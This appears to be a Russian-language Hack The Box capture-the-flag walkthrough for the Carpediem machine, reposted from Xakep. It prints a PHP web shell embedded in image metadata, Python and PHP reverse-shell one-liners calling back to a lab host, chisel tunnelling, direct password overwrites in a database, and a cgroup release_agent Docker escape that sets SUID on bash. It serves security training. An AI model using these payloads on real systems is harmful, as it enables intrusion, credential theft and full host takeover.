Хакер - HTB Carpediem. Сбегаем из Docker-контейнеров

Хакер - HTB Carpediem. Сбегаем из Docker-контейнеров

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веб-контента
  • Точка входа
  • Точка опоры
  • Продвижение
  • Разведка
  • MySQL & MongoDB
  • Trudesk
  • VOIP
  • Эксплуатация
  • Перехват трафика
  • CMS Backdrop — RCE
  • Повышение привилегий
  • LPE Docker inside
  • Docker escape

В этой статье мы с тобой обой­дем авто­риза­цию на сай­те и получим прос­тень­кий RCE для про­ник­новения в кон­тей­нер Docker. Затем про­ведем раз­ведку в сети, порабо­таем с MySQL и MongoDB, что­бы похитить информа­цию из Trudesk, перех­ватим тра­фик HTTPS и рас­шифру­ем дан­ные. Сно­ва попав в кон­тей­нер Docker, успешно сбе­жим из него с мак­сималь­ными при­виле­гиями на хос­те.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.167 carpediem.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы обна­ружи­ли два откры­тых пор­та: 22 — служ­ба OpenSSH 8.2p1 и 80 — веб‑сер­вер Nginx 1.18.0. Нач­нем с веб‑сер­вера.

Глав­ная стра­ница сай­та

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му поп­робу­ем поис­кать скры­тый кон­тент.

Сканирование веб-контента

Ис­кать потай­ные стра­ницы мы будем при помощи ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL.

ffuf -u 'http://carpediem.htb/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Ни­чего инте­рес­ного и тут. Идем даль­ше и ска­ниру­ем под­домены, для чего нам нуж­но переби­рать запись в HTTP-заголов­ке HOST. При этом исполь­зуем филь­тр --fs, который поможет отсе­ять лож­ные стра­ницы по их раз­меру.

ffuf -u 'http://carpediem.htb/FUZZ' -w subdomains-top1million-110000.txt -H 'Host: FUZZ.carpediem.htb' -t 256 --fs 2875

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

На­ходим новый под­домен, поэто­му допол­няем запись в фай­ле /etc/hosts и идем смот­реть новый сайт.

10.10.11.167 carpediem.htb portal.carpediem.htb

Глав­ная стра­ница сай­та portal.carpediem.htb

ТОЧКА ВХОДА

Пер­вым делом обра­тим вни­мание на то, как под­клю­чает­ся стра­ница. Это про­исхо­дит через параметр p.

Спо­соб обра­щение к стра­нице

Так­же на сай­те мож­но зарегис­три­ровать­ся и авто­ризо­вать­ся. Сде­лаем это!

Ре­гис­тра­ция нового поль­зовате­ля

Ес­ли всю работу вес­ти в Burp Proxy, то в исто­рии зап­росов мож­но заметить обра­щение к какому‑то фай­лу /classes/Master.php, которо­му в парамет­ре f переда­ется коман­да register.

Ис­тория зап­росов на сер­вер при регис­тра­ции

Но вер­немся к заг­ружа­емой через параметр стра­нице и про­верим, нет ли здесь уяз­вимос­ти LFI. Для это­го перебе­рем раз­ные наг­рузки через Burp Intruder.

Burp Intruder — вклад­ка Positions
Burp Intruder — резуль­тат ска­ниро­вания

В ито­ге есть вари­анты, которые воз­вра­щают ошиб­ку, но рас­кру­тить это до уяз­вимос­ти не получи­лось. Тог­да прос­каниру­ем катало­ги на новом домене.

ffuf -u 'http://portal.carpediem.htb/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов

Это ска­ниро­вание сно­ва рас­ширя­ет область тес­тирова­ния: мы наш­ли админку сай­та — /admin. Но при обра­щении к ней сер­вер вер­нет ошиб­ку 403.

Ис­тория зап­росов на сер­вер

Что ж, пока ничего про­бить не выходит. Перехо­дим к сле­дующей фун­кции — изме­нению про­филя. И сно­ва видим зап­рос к уже зна­комой стра­нице /classes/Master.php, но с дру­гой коман­дой.

Зап­рос на изме­нение парамет­ров про­филя

Тут я заметил POST-параметр login_type со зна­чени­ем 2. Отпра­вим этот зап­рос в Burp Repeater и изме­ним зна­чение инте­рес­ного парамет­ра на 1.

Зап­рос на изме­нение парамет­ров про­филя

И теперь нам дос­тупна стра­ница /admin!

Па­нель адми­нис­тра­тора

Гу­ляя по новой панели, сно­ва перехо­дим к фун­кции изме­нения про­филя и находим заг­рузку ава­тара, а это новая фун­кция для тес­тирова­ния.

Фор­ма заг­рузки ава­тара

ТОЧКА ОПОРЫ

Пер­вым делом я решил залить прос­той PHP-шелл для получе­ния RCE.

<?php echo system($_GET['cmd']); ?>

Со­обще­ние о заг­ружен­ном фай­ле

Файл заг­ружен, но ошиб­ка свя­зана с изоб­ражени­ем. То есть с фор­матом фай­ла PHP никаких проб­лем нет. Тог­да возь­мем любую кар­тину, изме­ним рас­ширение на .php и запишем в слу­жеб­ное поле ком­мента­рия PHP-шелл. Это мож­но сде­лать с помощью ути­литы exiftool.

exiftool -Comment='<?php echo system($_GET['cmd']); ?>' rs.php

Пос­ле заг­рузки стра­ница обно­вит­ся, и мы уви­дим битую ава­тар­ку. Най­ти путь к фай­лу не сос­тавит тру­да, он ука­зан в исходном коде стра­ницы.

Ис­ходный код стра­ницы

Поп­робу­ем выпол­нить коман­ду id.

Про­вер­ка RCE

Мы получи­ли уда­лен­ное выпол­нение кода. Теперь давай сде­лаем себе удоб­ную обо­лоч­ку, про­кинув реверс‑шелл. В качес­тве лис­тенера я буду исполь­зовать pwncat-sc, уста­новить который мож­но коман­дой sudo pip3 install pwncat-cs. Отправ­ляем в парамет­ре cmd сле­дующую коман­ду и получа­ем сооб­щение о соз­данной сес­сии.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(()"10.10.14.30",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Ло­ги pwncat

Для перехо­да в режим коман­дной обо­лоч­ки из обо­лоч­ки pwncat-cs исполь­зуем коман­ду back, для обратно­го перехо­да в режим pwncat-cs — ком­бинацию кла­виш Ctrl-D.

По­луче­ние коман­дной обо­лоч­ки

ПРОДВИЖЕНИЕ

РАЗВЕДКА

По име­ни хос­та понима­ем, что находим­ся в кон­тей­нере Docker. Сле­дующим шагом будет поиск учет­ных дан­ных. И самое пер­вое мес­то для про­вер­ки в таких слу­чаях — это фай­лы сай­та. Так, в фай­ле DBConnection.php будут учет­ные дан­ные для под­клю­чения к базе дан­ных.

Со­дер­жимое фай­ла DBConnection.php

Этот пароль никуда не под­ходит, так что про­дол­жим раз­ведку. Источни­ков информа­ции очень мно­го, поэто­му вос­поль­зуем­ся скрип­тами PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

<Ctrl> + D

upload linpeas_linux_amd64 /tmp/linpeas_linux_amd64

back

chmod +x /tmp/linpeas_linux_amd64

/tmp/linpeas_linux_amd64

От­меча­ем еще один пароль в перемен­ных окру­жения, а так­же нес­коль­ко новых адре­сов в фай­ле /etc/hosts.

Пе­ремен­ные окру­жения
Со­дер­жимое фай­ла /etc/hosts

В сети есть еще хос­ты, на одном из них, судя по наз­ванию, работа­ет MySQL. Заг­рузим в кон­тей­нер ста­тичес­кий Nmap и прос­каниру­ем нес­коль­ко началь­ных адре­сов на наличие откры­тых пор­тов.

<Ctrl> + D

upload nmap /tmp/nmap

back

chmod +x /tmp/nmap

/tmp/nmap -p- 172.17.0.1-6

Ре­зуль­тат ска­ниро­вания пор­тов

Нам дос­тупно мно­го служб для про­вер­ки, нач­нем с баз дан­ных. 

MySQL & MongoDB

На хос­те 172.17.0.4 открыт типич­ный для MySQL порт 3306. А на хос­те 172.17.0.2 открыт порт 27017, что свой­ствен­но MongoDB. Что­бы получить дос­туп к этим хос­там, нуж­но пос­тро­ить тун­нель. Для это­го будем исполь­зовать chisel. На локаль­ном хос­те запус­тим сер­вер, ожи­дающий под­клю­чения (параметр --reverse) на порт 5432 (параметр -p).

./chisel.bin server --reverse -p 5432

Ло­ги chisel server

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а так­же тип тун­неля — socks.

/tmp/chisel.bin client 10.10.14.30:5432 R:socks

Ло­ги chisel client

В логах сер­вера дол­жны уви­деть сооб­щение о соз­дании сес­сии.

Ло­ги chisel server

Те­перь, что­бы перенап­равлять тра­фик в соз­данный тун­нель, будем исполь­зовать proxychains. В фай­ле кон­фига /etc/proxychains.conf добавим мар­шрут:

socks5 127.0.0.1 1080

Под­клю­чим­ся к MySQL, а затем пос­мотрим, какие есть базы дан­ных.

proxychains4 -q mysql -h 172.17.0.4 -u portaldb -p

show databases;

Ба­зы дан­ных

Те­перь най­дем инте­рес­ные таб­лицы в базе portal.

use portal;

show tables;

Таб­лице в базе portal

На­ибо­лее инте­рес­на таб­лица users.

select * from users;

Со­дер­жимое таб­лицы users

Там находим учет­ные дан­ные, но проб­рутить хеш не выш­ло. Тог­да перей­дем к MongoDB.

proxychains4 -q mongo 172.17.0.2

show dbs;

Ба­зы в MongoDB

Так находим базу для Trudesk. 

Trudesk

Trudesk — это опен­сор­сный софт, пред­назна­чен­ный для служ­бы под­дер­жки. Тут мож­но будет получить какую‑то новую информа­цию. Допол­нитель­но из сер­тифика­та SSL на пор­те 443 хос­та 172.17.0.3 получа­ем домен­ное имя backdrop.carpedium.htb, но пока про­дол­жим с Trudesk.

Ин­форма­ция о сер­тифика­те сай­та

Сам Trudesk обна­ружим на пор­те 8118 хос­та 172.17.0.5.

По­ле авто­риза­ции Trudesk

Учет­ных дан­ных мы не зна­ем, но есть дос­туп к базе дан­ных сер­виса. Выбира­ем эту базу и получа­ем записи обо всех акка­унтах.

use trudesk

db.accounts.find()

За­писи об акка­унтах trudesk

На­ходим запись адми­нис­тра­тора. Давай изме­ним ему пароль пря­мо в базе. Для это­го сна­чала его хеширу­ем.

import bcrypt

p = 'ralf'

salt = bcrypt.gensalt(rounds=10)

bcrypt.hashpw(p.encode(),salt)

Те­перь меня­ем его в базе и авто­ризу­емся как admin : ralf.

db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$NdqhhsBaSEnoMn9sM/vckeUN.Sw8c3qDqosPtYf5rVOpMmWh2XUye"}});

Из­менение пароля в базе
Па­нель поль­зовате­ля

Те­перь нуж­но прос­мотреть перепис­ку с под­дер­жкой. Так мы находим очень инте­рес­ную информа­цию. Пароль для поль­зовате­ля с ID 9650 и паролем 2022 к VOIP сооб­щает­ся, если поз­вонить по номеру *62. А в качес­тве VOIP-кли­ента совету­ют исполь­зовать Zoiper.

Пе­репис­ка с под­дер­жкой

VOIP

Ска­чаем и уста­новим кли­ент Zoiper. Пос­ле запус­ка нам пред­лага­ют авто­ризо­вать­ся. Сде­лаем это, так как у нас есть все необ­ходимые дан­ные.

Ав­ториза­ция в Zoiper

Те­перь откры­ваем кла­виату­ру для набора номера и вызыва­ем або­нен­та по номеру *62.

Вы­зов або­нен­та

Прос­лушать аудио зай­мет око­ло минуты, но зато мы получа­ем из него пароль поль­зовате­ля. Дол­го переби­рать не приш­лось, сра­зу авто­ризу­емся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЭКСПЛУАТАЦИЯ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам нуж­но соб­рать информа­цию. Сно­ва исполь­зуем для это­го скрип­ты PEASS.

Уз­наем сле­дующее.

  • Су­дя по информа­ции из /etc/hosts, на хос­те работа­ет сайт backdrop.carpediem.htb. При этом хост прос­лушива­ет мно­го веб‑пор­тов.
  • Мо­жем получить ключ RSA, исполь­зуемый для SSL-шиф­рования на сай­те backdrop.carpediem.htb.
  • Сре­ди активных Linux Capabilities для прог­раммы tcpdump находим cap_net_admin.
Со­дер­жимое фай­ла /etc/hosts
Прос­лушива­емые пор­ты
Дос­тупный ключ RSA
Ак­тивные Linux Capabilities

Объ­еди­няя все получен­ные дан­ные, можем прос­лушивать тра­фик на хос­те, на котором работа­ет сайт backdrop, пос­ле чего рас­шифро­вать соб­ранный тра­фик най­ден­ным при­ват­ным клю­чом и прос­мотреть кри­тичес­ки важ­ные дан­ные. 

Перехват трафика

Ос­тавим минуты две на работу tcpdump, пос­ле чего забира­ем файл .pcap на локаль­ный хост и откры­ваем в Wireshark.

tcpdump -i docker0 -w t.pcap

Пе­рехо­дим в нас­трой­ки «Редак­тирова­ние → Парамет­ры → Про­токол → TLS → RSA key list» и добав­ляем ска­чан­ный ключ RSA. Затем в филь­тре Wireshark ука­зыва­ем про­токол HTTP.

Зап­росы на веб‑сер­вер

Ви­дим зап­рос на авто­риза­цию, откры­ваем его, что­бы пос­мотреть дан­ные, и забира­ем учет­ные дан­ные поль­зовате­ля.

Зап­рос на авто­риза­цию

С получен­ными учет­ными дан­ными нуж­но авто­ризо­вать­ся в backdrop на локаль­ном пор­те 8002, для чего про­кинем этот порт на свой хост.

ssh -L 8002:127.0.0.1:8002 hflaccus@carpediem.htb

Те­перь весь тра­фик, который мы пош­лем на локаль­ный порт 8002, будет тун­нелиро­ван на порт 8002 ука­зан­ного хос­та (в дан­ном слу­чае 127.0.0.1) через SSH-хост.

Да­вай обра­тим­ся к сай­ту по адре­су http://127.0.0.1:8002/.

Глав­ная стра­ница CMS Backdrop

CMS Backdrop — RCE

Нам дос­тупна целая CMS, поэто­му про­верим, нет ли для нее экс­пло­итов в пуб­личном дос­тупе. Дол­го искать не приш­лось, пер­вая же ссыл­ка в Google дает нам под­ходящий ре­пози­торий на GitHub. С помощью это­го экс­пло­ита мы можем получить уда­лен­ное выпол­нение кода, добавив свой пла­гин (или исполь­зовать уже готовый). Пер­вым делом перей­дем к стра­нице заг­рузки модулей: Functionality → Install new modules.

Ме­ню сай­та
Стра­ница заг­рузки модулей

Те­перь выбира­ем пункт Manual installation и заг­ружа­ем упо­мяну­тый выше архив (готовый пла­гин).

Заг­рузка архи­ва
Со­обще­ние об успешной уста­нов­ке пла­гина

Те­перь мы можем выпол­нять коман­ды через стра­ницу modules/reference/shell.php.

Вы­пол­нение коман­ды id

Для получе­ния коман­дной обо­лоч­ки откры­ваем лис­тенер и отправ­ляем сле­дующую коман­ду:

php -r '$sock=fsockopen("10.10.14.48",4321);exec("sh <&3 >&3 2>&3");'

Мы дол­жны получить новую сес­сию. 

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

LPE Docker inside

Раз­ведка с помощью LinPEAS ничего нам не дает. Зато если мы отсле­дим запус­каемые про­цес­сы с помощью pspy64, то най­дем кое‑что инте­рес­ное.

Ло­ги pspy64

От име­ни рута запус­кает­ся скрипт /opt/hearbeat.sh. Прос­мотрим его содер­жимое.

Со­дер­жимое скрип­та /opt/hearbeat.sh

Сна­чала скрипт све­ряет хеш фай­ла backdrop.sh, что­бы убе­дить­ся, что он не был изме­нен. Затем выпол­няет его с помощью PHP.

Со­дер­жимое фай­ла backdrop.sh

Так как вклю­чают­ся фай­лы из катало­га /var/www/html/backdrop, мож­но соз­дать в этом катало­ге файл index.php и он будет выпол­нен. В сам файл запишем уже исполь­зован­ный ранее PHP-шелл. Спус­тя некото­рое вре­мя уви­дим новую сес­сию в pwncat-cs.

Сес­сия поль­зовате­ля root

Docker escape

Кон­тей­нер работа­ет в при­виле­гиро­ван­ном режиме, и у нас есть пра­ва рута, что поз­воля­ет нам вый­ти из кон­тей­нера на основной хост так­же в при­виле­гиро­ван­ном режиме. В этом нам помогут кон­троль­ные груп­пы Linux.

Cgroup, или «кон­троль­ная груп­па», в Linux — это груп­па про­цес­сов, для которой механиз­мами ядра наложе­на изо­ляция и уста­нов­лены огра­ниче­ния на некото­рые вычис­литель­ные ресур­сы (про­цес­сорные, сетевые, память, ввод‑вывод). Это как раз один из механиз­мов, с помощью которых Docker изо­лиру­ет кон­тей­неры.

Этот метод исполь­зует фун­кцию notify_on_release в cgroups v1, что­бы запус­тить опре­делен­ный код от име­ни поль­зовате­ля root. Дело в том, что, ког­да пос­ледняя задача в кон­троль­ной груп­пе покида­ет ее, на хос­те выпол­няет­ся коман­да, ука­зан­ная в фай­ле release_agent. Таким обра­зом пред­полага­ется сок­ратить чис­ло заб­рошен­ных кон­троль­ных групп. Эта коман­да при вызове запус­кает­ся на хос­те как поль­зователь с пол­ными при­виле­гиями.

Пер­вым делом нам нуж­но запус­тить новую коман­дную обо­лоч­ку.

unshare -UrmC bash

Те­перь, что­бы выпол­нить код на основном хос­те, нам нуж­на кон­троль­ная груп­па, в которой мы можем соз­дать файл release_agent и ини­цииро­вать его вызов, унич­тожив все про­цес­сы в кон­троль­ной груп­пе. Самый прос­той спо­соб добить­ся это­го — смон­тировать кон­трол­лер cgroup и соз­дать дочер­нюю cgroup. Для это­го мы соз­даем каталог /tmp/ralf, мон­тиру­ем кон­трол­лер cgroup RDMA и соз­даем дочер­нюю cgroup x.

umount /tmp/ralf

rm -R /tmp/ralf

mkdir /tmp/ralf

mount -t cgroup -o rdma cgroup /tmp/ralf

mkdir /tmp/ralf/x

За­тем акти­виру­ем уве­дом­ления кон­троль­ной груп­пы, записы­вая еди­ницу в ее файл notify_on_release. Так­же нас­тра­иваем cgroup RDMA для выпол­нения сце­нария /cmd. Путь к самому кон­тей­неру на основном хос­те берем из фай­ла /etc/mtab.

echo 1 > /tmp/ralf/x/notify_on_release

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

echo "$host_path/cmd" > /tmp/ralf/release_agent

Ко­ман­ды из фай­ла /cmd будут выпол­нены в при­виле­гиро­ван­ном режиме на основном хос­те, поэто­му нуж­но выб­рать один из методов пер­систен­тнос­ти. К при­меру, уста­нов­ка бита SUID для фай­ла коман­дной обо­лоч­ки /bin/bash.

echo '#!/bin/bash' > /cmd

echo "chmod u+s /bin/bash" >> /cmd

chmod a+x /cmd

Пос­леднее дей­ствие — вызов триг­гера RDMA. Соз­дадим про­цесс, который немед­ленно завер­шится внут­ри дочер­ней кон­троль­ной груп­пы x. Для это­го запус­каем про­цесс bash и записы­ваем его PID в файл cgroup.procs.

bash -c "echo \$\$ > /tmp/ralf/x/cgroup.procs"

Те­перь мы можем вер­нуть­ся на основной хост и про­верить пра­ва на файл /bin/bash.

Пра­ва на файл bash

S-бит уста­нов­лен, поэто­му запус­каем его и лег­ко получа­ем обо­лоч­ку в при­виле­гиро­ван­ном режиме.

Флаг рута

За­бира­ем флаг рута, и машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page